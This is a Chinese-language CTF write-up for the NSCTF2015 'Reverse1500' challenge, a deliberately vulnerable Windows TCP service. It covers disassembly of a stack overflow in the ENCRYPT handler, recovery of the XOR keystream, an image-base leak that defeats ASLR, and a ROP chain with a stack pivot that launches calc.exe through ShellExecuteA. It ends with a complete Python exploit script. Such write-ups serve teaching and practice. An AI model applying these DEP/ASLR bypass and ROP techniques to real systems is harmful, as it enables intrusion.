NSCTF2015 Reverse1500 (PWN) Writeup

本文年代久远,其中的表述和倾向可能与现在不同,请留意时效。

1500分呢,其它题都是100 200最高也就500,一题高帅富还拿了fb(没有fb奖励就是):)

其实也不算难的栈溢出,虽然windows上的没怎么做过,但毕竟只是栈溢出,没有canarry(secure_cookie)代码正常写(gctf。。),难度破天也就那样。

题目要求能过windows的DEP+ASLR,在rop大行其道的今天过dep+aslr已经是pwn标配要求了吧,只要代码段间的相对偏移是固定的,gadget不会跳偏,想办法拿到ImageBase就行。

程序有加壳,aspack,似乎由于aslr的锅脱掉壳之后导入表还是坏的,貌似也不是导入表的问题,而是代码中引用的地址就是硬编码固定的,这里没有深究,反正能用IDA读到代码就行,毕竟exp打的是没脱壳的原版本。

程序功能是开启一个tcp服务端,根据客户端连接发送的请求代码完成3项功能

  
if ( _WSAFDIsSet(s, &readfds) )  
{  
  memset(buf, 0, 0x5ACu);  
  if ( recv(s, buf, 0x5AC, 0) <= 0 )  
    return closesocket(s);  
  v2 = strchr(buf, '\r');  
  if ( v2 )  
    *v2 = 0;  
  v3 = strchr(buf, '\n');  
  if ( v3 )  
    *v3 = 0;  
  if ( !strncmp(buf, aEncrypt, 8u) )        // "ENCRYPT "  
  {  
    v10 = (int)&buf[8];  
    enc_buf(s, (int)&buf[8]);               //<== !  
  }  
  if ( !strncmp(buf, aStatus, 7u) )         // "STATUS\0"  
  {  
    v4 = GetModuleHandleA(0);  
    memset(buf, 0, 0x5ACu);  
    sprintf_s(buf, 0x5ACu, Format, v4);  
    send(s, buf, strlen(buf), 0);  
  }  
  if ( !strncmp(buf, aExit, 4u) )           // "EXIT"  
  {  
    memset(buf, 0, 0x5ACu);  
    printf(aSessionExitSoc, s);  
    sprintf_s(buf, 0x5ACu, aSessionExitS_0, s);  
    result = send(s, buf, strlen(buf), 0);  
    if ( s == -1 )  
      return result;  
    return closesocket(s);  
  }  
}

服务端接收最多0x5ac大小的数据然后strncmp判断进来的头几个字节进行不同的操作,其中发送STATUS可以返回该服务端运行的基址(。。故意构造的利用点),这为后面计算所有gadgets的偏移带来了极大的便利,EXIT是关闭连接退出,没什么好说的,问题出在ENCRYPT操作里(吐槽一下这个比对,开始写exp的时候发ENCRYPT老是没反应,数一数ENCRYPT应该是7个字符啊,怎么比对了8个,仔细一看字符串,后面还有个空格。。)

比对完成后

UnPackEr:013D124D 6D8 lea     ecx, [ebp+buf+8] ; Load Effective Address  
UnPackEr:013D1253 6D8 mov     [ebp+pBuffAt8], ecx  
UnPackEr:013D1256 6D8 mov     eax, [ebp+pBuffAt8]  
UnPackEr:013D1259 6D8 push    eax             ; int  
UnPackEr:013D125A 6DC mov     eax, [ebp+sock]  
UnPackEr:013D125D 6DC push    eax             ; s  
UnPackEr:013D125E 6E0 call    enc_buf         ; 13D10C0

调用下一个函数enc_buf,传入之前recv的buff(砍掉前面ENCRYPT\x20那8个字符)和socket

UnPackEr:013D10C6 204 mov     eax, [esp+204h+pBuffAt8]  
UnPackEr:013D10CD 204 movzx   ecx, word ptr [eax] ; Move with Zero-Extend  
UnPackEr:013D10D0 204 push    ebx  
UnPackEr:013D10D1 208 push    esi  
UnPackEr:013D10D2 20C add     eax, 2          ; Add  
UnPackEr:013D10D5 20C push    edi             ; 一直是sock  
UnPackEr:013D10D6 210 push    eax             ; 读入buff砍掉开头2bytes  
UnPackEr:013D10D7 214 lea     eax, [esp+214h+var_200] ; Load Effective Address  
UnPackEr:013D10DB 214 movzx   ebx, cx         ; Move with Zero-Extend  
UnPackEr:013D10DE 214 push    eax             ; new buffer  
UnPackEr:013D10DF 218 mov     dword ptr [esp+218h+buf], ecx  
UnPackEr:013D10E3 218 call    exp_able        ; 13D1030  
UnPackEr:013D10E8 218 mov     esi, [esp+218h+s]  
UnPackEr:013D10EF 218 mov     edi, ds:send  
UnPackEr:013D10F5 218 add     esp, 8          ; 

进来之后将buff的前两个字节当做一个word放进ebx,同时push一个0x200大小的新缓冲区及旧缓冲区砍掉开头两字节后作为参数调用exp_able函数(随便起了个名=。=)注意这时缓冲区只开了0x200,远远不及接收数据用的0x5ac大小缓冲区,此时栈空间

-00000205                 db ? ; undefined  
-00000204 buf             db 4 dup(?)  
-00000200 var_200         db 512 dup(?)  
+00000000  r              db 4 dup(?)  
+00000004 s               dd ?  
+00000008 pBuffAt8        dd ?  
+0000000C

顺便一题,exp_able这个函数有趣地将ebp当做通用寄存器了,并没有开辟新的栈帧,也没有使用任何内存作为临时变量

UnPackEr:013D1030     exp_able        proc near               ; CODE XREF: enc_buf+23p  
UnPackEr:013D1030  
UnPackEr:013D1030     new_buff        = dword ptr  4  
UnPackEr:013D1030     old_buff        = dword ptr  8  
UnPackEr:013D1030  
UnPackEr:013D1030 000                 cmp     ds:rand_generated, 0 ; Compare Two Operands  
UnPackEr:013D1037 000                 push    ebp  
UnPackEr:013D1038 004                 mov     ebp, [esp+4+new_buff] ; <==ebp作为通用寄存器  
UnPackEr:013D103C 004                 push    esi  
UnPackEr:013D103D 008                 push    edi  
UnPackEr:013D103E 00C                 jnz     short RAND_GEN_ED ; Jump if Not Zero (ZF=0)  
UnPackEr:013D1040 00C                 push    0               ; Time  
UnPackEr:013D1042 010                 call    __time64        ; Call Procedure  
UnPackEr:013D1047 010                 push    eax             ; unsigned int  
UnPackEr:013D1048 014                 call    _srand          ; Call Procedure  
UnPackEr:013D104D 014                 add     esp, 8          ; Add  
UnPackEr:013D1050 00C                 mov     esi, offset rand_array  
UnPackEr:013D1055  
UnPackEr:013D1055     loc_13D1055:                            ; CODE XREF: exp_able+41j  
UnPackEr:013D1055 00C                 call    _rand           ; Call Procedure  
UnPackEr:013D105A 00C                 mov     edi, eax  
UnPackEr:013D105C 00C                 shl     edi, 10h        ; Shift Logical Left  
UnPackEr:013D105F 00C                 call    _rand           ; Call Procedure  
UnPackEr:013D1064 00C                 add     eax, edi        ; Add  
UnPackEr:013D1066 00C                 mov     [esi], eax  
UnPackEr:013D1068 00C                 add     esi, 4          ; Add  
UnPackEr:013D106B 00C                 cmp     esi, offset rand_array_end ; Compare Two Operands  
UnPackEr:013D1071 00C                 jl      short loc_13D1055 ; Jump if Less (SF!=OF)  
UnPackEr:013D1073 00C                 mov     ds:rand_generated, 1

接下来首先生成了0x20个32bit随机数(rand_array_end地址与rand_array相差0x80),保存在13DF968起始的数组里,然后用ebx/4向上取整后的值作为计数上限,将old_buff和随机数组的数进行异或后放进new_buff里,也就是ENCRYPT后紧跟的2字节作为长度,4字节一组将旧的大缓冲区与一组随机数依次加密后放进新的小的缓冲区里,如果发送数据需异或的部分比0x200长,就会产生溢出,溢出的还不是循环的这个函数,它的callerenc_buf(害队友啊)

UnPackEr:013D107A     RAND_GEN_ED:                            ; CODE XREF: exp_able+Ej  
UnPackEr:013D107A 00C                 mov     eax, ebx        ; 注意ebx是上一个函数赋值的,buff开头的2字节作为循环长度  
UnPackEr:013D107C 00C                 cdq                     ; EAX -> EDX:EAX (with sign)  
UnPackEr:013D107D 00C                 and     edx, 3          ; Logical AND  
UnPackEr:013D1080 00C                 add     eax, edx        ; Add  
UnPackEr:013D1082 00C                 sar     eax, 2          ; Shift Arithmetic Right  
UnPackEr:013D1085 00C                 test    bl, 3           ; Logical Compare  
UnPackEr:013D1088 00C                 jz      short L1        ; Jump if Zero (ZF=1)  
UnPackEr:013D108A 00C                 inc     eax             ; 这一段是/4向上取整  
UnPackEr:013D108B  
UnPackEr:013D108B     L1:                                     ; CODE XREF: exp_able+58j  
UnPackEr:013D108B 00C                 xor     edx, edx        ; Logical Exclusive OR  
UnPackEr:013D108D 00C                 test    eax, eax        ; Logical Compare  
UnPackEr:013D108F 00C                 jle     short loc_13D10B9 ; FAILED  
UnPackEr:013D1091 00C                 mov     esi, [esp+0Ch+old_buff]  
UnPackEr:013D1095 00C                 mov     ecx, ebp  
UnPackEr:013D1097 00C                 sub     esi, ebp        ; Integer Subtraction  
UnPackEr:013D1099 00C                 lea     esp, [esp+0]    ; Load Effective Address  
UnPackEr:013D10A0  
UnPackEr:013D10A0     L2:                                     ; CODE XREF: exp_able+87j  
UnPackEr:013D10A0 00C                 mov     edi, edx  
UnPackEr:013D10A2 00C                 and     edi, 1Fh        ; Logical AND  
UnPackEr:013D10A5 00C                 mov     edi, ds:rand_array[edi*4]  
UnPackEr:013D10AC 00C                 xor     edi, [esi+ecx]  ; Logical Exclusive OR  
UnPackEr:013D10AF 00C                 inc     edx             ; Increment by 1  
UnPackEr:013D10B0 00C                 mov     [ecx], edi  
UnPackEr:013D10B2 00C                 add     ecx, 4          ; Add  
UnPackEr:013D10B5 00C                 cmp     edx, eax        ; EAX是计数上限  
UnPackEr:013D10B7 00C                 jl      short L2        ; Jump if Less (SF!=OF)

那么溢出机制搞清楚了,发送'ENCRYPT '+16bit长度+0x200长度的辣鸡字符+返回地址即可劫持eip,其中填充字串和返回地址需要先被异或过,这样加密时异或回去才是我们想要的。那么怎么获得用于异或的随机数呢,注意到随机数生成过程有个flag,一次生成后不会再改变,所以可以先发送0x80个\0获取随机数数组,再用获取的随机数异或payload

可以控制eip后开始想办法执行目标程序calc.exe,服务端在收到客户连接时会利用ShellExecuteA将自己重新运行一次(模仿fork?但你端口是不可复用的啊,这也是故意构造的利用点,能不能专业点……)找个地方写calc.exe然后让ShellExecuteA执行它就好
先看ShellExecuteA调用的部分

UnPackEr:013D1530 2CC                 push    5               ; nShowCmd  
UnPackEr:013D1532 2D0                 push    0               ; lpDirectory  
UnPackEr:013D1534 2D4                 push    0               ; lpParameters  
UnPackEr:013D1536 2D8                 lea     ecx, [esp+2D4h+Filename] ; Load Effective Address  
UnPackEr:013D153A 2D8                 push    ecx             ; lpFile  <==  
UnPackEr:013D153B 2DC                 push    offset Operation ; "open"  
UnPackEr:013D1540 2E0                 push    0               ; hwnd  
UnPackEr:013D1542 2E4                 call    ds:ShellExecuteA ; Indirect Call Near Procedure

中间有个lea的过程干扰栈空间布局,所以我们跳下一行push ecx,找一个pop ecx , ret的gadget就行,由于此处是壳内代码,所以ropper -f _UnPacked.exe --search 'pop ecx'搜索脱过壳的程序,然后找了个比较近的

0x013d1849: pop ecx; ret;    <==这个,RVA=0x1849  
0x013e380b: pop ecx; ret 4; 
0x013e3a82: pop ecx; ret; 

最后的问题就是如何定位calc.exe这个最终payload字串了,以往linux的pwn,有plt表可以跳,有got表可以劫持,这俩表的相对偏移还都是固定的,windows的导入表结构不一样,很难找到直接去调用send的方法,也就没法调用那些用于输出的函数来获知溢出时栈的位置。得想办法把字串写到固定的位置,再把这个位置传给ShellExecuteA

同时还有一个问题,从enc_buf函数溢出后eip就失去控制了,由于不像linux有PLT表的jmp function结构能直接按栈里存的地址返回,windows下eip飞了之后得想办法回到可以溢出的地方重新控制eip,不然纯粹找gadgets拼个能将不确定的栈地址传递给ShellExecuteA来调用是很繁琐的

(写这篇writeup的时候已经做完很久了,写到这的时候又停下来思考了一下纯gadget拼payload的方法,最后花了2个多小时重新写了个纯gadget拼出传递栈中的’calc.exe’的exp,然后再看看gadgets的附近,居然有一堆rop专用的gadgets,显然也是出题人留下的“标准方法”,这个的分析就不写在这了,留在脚本里有兴趣自行研究吧,有趣的是纯gadget调用的计算器不会使原程序崩溃,而是看起来很正常地结束,之前用的方法弹完计算器就崩得不成样子了)

观察一下调用enc_bufexp_able的代码,变量定位都是以ebp作为基址寄存器的,所以这里可以用栈迁移的手法,把ebp指向新的地址,然后调用recv读取第二次发过去的payload写入新栈区,再进入enc_buf溢出一次,即可拿回eip的控制权,同时由于新栈地址是我们给定的,所以也很容易定位第二次发过去的calc.exe。能供写入的固定地址也很容易找,放随机数的那块静态变量区就有很多空闲的位置,再找个pop ebp的gadgets,也有很多

0x013da0be: pop ebp; pop ecx; pop ebx; ret 4; 
0x013da0be: pop ebp; pop ecx; pop ebx; ret 4; call eax; 
0x013da0be: pop ebp; pop ecx; pop ebx; ret 4; call eax; ret; 
0x013d9fa8: pop ebp; pop edi; pop esi; pop ebx; mov esp, ebp; pop ebp; ret; 
0x013d3392: pop ebp; push ecx; ret; 
0x013d21dc: pop ebp; ret 4; 
0x013d6f23: pop ebp; ret 8; 
0x013d10bb: pop ebp; ret;   <== 这个

可以最终整理思路了:

  1. 发送STATUS获得服务端运行的镜像基址
  2. 发送'ENCRYPT '+\x80\x00(长度)+0x80个\x00获取随机数组
  3. 发送'ENCRYPT '+2字节payload1长度+与获得的随机数组异或后的payload1,payload1为0x200个'A'(填充)+pop_ebp的gadget + 新找的地址(加些修正,使recv完调用enc_buf时栈结构能与之前相似,这里修正大小是+1740+len('calc.exe\x00'),这个修正大小可以在动态调试时很方便地计算)+调用recv的地址(选择了013D11F4[1])+调用recv时应有的栈结构
  4. 此时前置布局工作都已做好,把calc.exe和用于第二次溢出的payload2发过去就行。发送内容为calc.exe\x00+'ENCRYPT '+2字节payload2长度+异或后的payload2,payload2:200个'B'(填充)+pop ecx的gadget + 新找地址(calc字串放在最前面了) + 调用ShellExecuteA的地址[2] + 调用ShellExecuteA时应有的栈结构

附上脚本(包括纯gadgets的部分,注释掉了):

#!/usr/bin/env python2.7  
#encoding:utf-8  

from zio import *  
from time import sleep  

target = ('172.16.83.128',2994)  
#target = ('172.16.82.132',2994)  
io = zio(target,timeout=500,print_read=COLORED(REPR,'cyan'),print_write=COLORED(REPR,'red'))  
io.readline()#welcome  

io.write('STATUS')#get img_base  
base = io.readline()  
base = int(base[base.find('@')+2:-1],16)  
recv_addr = base + 0x11f4  
w_buffer = base + 0xe69c  
w_buffer_size = 700 # buffer size  
pop_ebp = base + 0x10bb  
pop_ecx = base + 0x1849 # for push ecx,ecx --> w_buffer  
exec_addr = base + 0x153a#boom  


print 'base_addr:',hex(base) print 'recv_addr:',hex(recv_addr) print 'writable_addr:',hex(w_buffer) hsz = 'ENCRYPT ' io.write(hsz+l16(0x80)+'\x00'*0x80) rand_group = io.read(0x82)[2:] print 'RAND_GROUP:',rand_group sleep(0.1) def enc(data): e_data = '' for i,b in enumerate(data): e_data += chr(ord(b)^ord(rand_group[i % len(rand_group)])) return e_data
payload = 'A'*0x200 + l32(pop_ebp) + l32(w_buffer+1740+len('calc.exe\x00')) + l32(recv_addr) #change ebp to new place ,point to new data and back to recv payload += l32(w_buffer) + l32(w_buffer_size) + l32(0) + 'ADDITION1'+'ADDITION2' # recv(sock,w_buffer,buffer_size,0) #pure gadgets to call ShellExecuteA ''' mov_eax_esp = base + 0x1001 sub_eax_4 = base + 0x100a #这个gadget附近都是出题人留下的gadgets…… pop_ebx = base + 0x1022 push_eax_call_ebx = base + 0x445a pop_ecx_pop_ecx = base + 0x1848 add_esp_0x98 = base + 0x13951 #这个要不要都行,把calc放到开头,空间已经够了 #如果calc放在靠后的位置,有可能被ShellExecuteA内部的操作覆盖掉,导致最终利用失败 payload3 ='HEAD'+'calc.exe' + l32(0) + 'A'*(0x200-4*4) + l32(mov_eax_esp) + l32(sub_eax_4)*(1+127) #一直摸到开头 payload3 += l32(pop_ebx) + l32(pop_ecx_pop_ecx)#ebx payload3 += l32(push_eax_call_ebx) + l32(add_esp_0x98) + 'F' * 0x98 + l32(exec_addr) + l32(0)*3 + l32(5) io.write(hsz+l16( len(payload3) ) +enc(payload3) )#payload1 --> write in calc string print 'PAYLOAD3 FINISHED.\nlength:', hex(len(payload3)) exit() ''' #--------------------------- '''这个payload的缺点是填充太多了,为防止ShellExecuteA内部将calc字串覆盖,需要大量的sub eax gadget使字串远离esp(),如果用add esp的gadget,一样要填进一大堆字符,还好recv的缓冲区足够大,不然有可能辛辛苦苦设计完rop链,要么esp离calc字串太近致其被覆盖,要么payload超出缓冲区大小跑不完,那就坑了……当然rop链肯定不止一种设计方法,这里只是能用的一种''' #总共只有两条sub eax,用到的这个还是出题人故意留的。。 #0x013d100a: sub eax, 4; ret; #0x013d5c0a: sub eax, ecx; ret; #--------------------------- io.write(hsz+l16( len(payload) ) +enc(payload) )#payload1 --> write in calc string raw_input('wating recv...') sleep(0.1) payload2 = 'B'*0x200 + l32(pop_ecx) + l32(w_buffer) # eip come back and set ecx payload2 += l32(exec_addr)+ l32(0) + l32(0) + l32(5) #io.write('PAYLOAD2!'+'LOL'*250) io.write('calc.exe\x00'+hsz + l16(len(payload2)) +enc(payload2)) #payload2 --> exec calc print '\n\n===============================EXP FINISHED!==============================\n\n\n' exit(0) io.interact()

  1. UnPackEr:013D11E6 6D8 push 0 ; flags
    UnPackEr:013D11E8 6DC push 5ACh ; len
    UnPackEr:013D11ED 6E0 lea eax, [ebp+buf] ; Load Effective Address
    UnPackEr:013D11F3 6E0 push eax ; buf
    UnPackEr:013D11F4 6E4 push edi ; <==这里
    UnPackEr:013D11F5 6E8 call ds:recv ; Indirect Call Near Procedure

    ↩︎
  2. UnPackEr:013D1530 2CC push 5 ; nShowCmd
    UnPackEr:013D1532 2D0 push 0 ; lpDirectory
    UnPackEr:013D1534 2D4 push 0 ; lpParameters
    UnPackEr:013D1536 2D8 lea ecx, [esp+2D4h+Filename] ; Load Effective Address
    UnPackEr:013D153A 2D8 push ecx ; lpFile <==这里
    UnPackEr:013D153B 2DC push offset Operation ; “open”
    UnPackEr:013D1540 2E0 push 0 ; hwnd
    UnPackEr:013D1542 2E4 call ds:ShellExecuteA ; Indirect Call Near Procedure

    ↩︎